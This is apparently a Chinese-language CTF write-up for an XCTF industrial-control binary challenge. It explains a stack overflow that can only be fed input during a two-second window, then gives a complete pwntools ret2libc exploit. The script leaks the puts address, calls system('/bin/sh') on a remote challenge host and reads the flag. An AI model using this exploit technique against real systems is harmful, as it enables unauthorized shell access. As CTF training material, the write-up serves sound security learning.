XCTF-HMI流水灯运行-WP

Posted on Dec 30, 2020

这道题目挺有点意思,也让我知道了工控安全在ctf是怎么体现的。

其实很简单

就是这样的一个栈溢出而已,几乎没有保护,我们可以为所欲为。但是需要特殊处理,程序一直在跑流水灯

当i==2,k==2的时候会退出,设置了一个信号,有两秒钟的短暂输入时间,我们在这个时候输入rop链就可以get shell了。不过整个过程只有两秒钟,很快就会重新被流水灯刷屏,所以不得不通过脚本直接帮我们cat flag。

输入的时机很好判断,可以输入前会puts一个换行,也就是说会直接接受到两个换行,这个时候输入就可以了。

exp:

#!/usr/bin/env python                                                     
# coding=utf-8                                                            
from pwn import *                                                         
#context(log_level = 'debug')                                             
                                                                          
sh = remote("220.249.52.134","40989")                                     
#sh = process("./format")                                                 
elf = ELF("./format")                                                     
libc = ELF("./libc_32.so.6")                                              
                                                                          
payload  = 'a' * 0x88 + 'b' * 4                                           
payload += p32(elf.plt["puts"])                                           
payload += p32(0x8048888) #ret2gee                                        
payload += p32(elf.got["puts"])                                           
                                                                          
sh.recvuntil('\n\n')                                                      
sh.sendline(payload)                                                      
                                                                          
puts_addr = u32(sh.recv(4))                                               
system_addr = puts_addr - libc.symbols["puts"] + libc.symbols["system"]   
bin_sh = puts_addr - libc.symbols["puts"] + libc.search('/bin/sh').next()   
                                                                          
payload  = 'a' * 0x88 + 'b' * 4 + p32(system_addr) + 'ret2' + p32(bin_sh)   
                                                                          
sh.sendline(payload)                                                      
sh.sendline("cat flag")                                                   
print sh.recvuntil('}\n')                                                   
                                                                          
sh.interactive()                                                            

不知道为什么,最后的recvuntil必须接收的是'}\n',接受'}'是不行的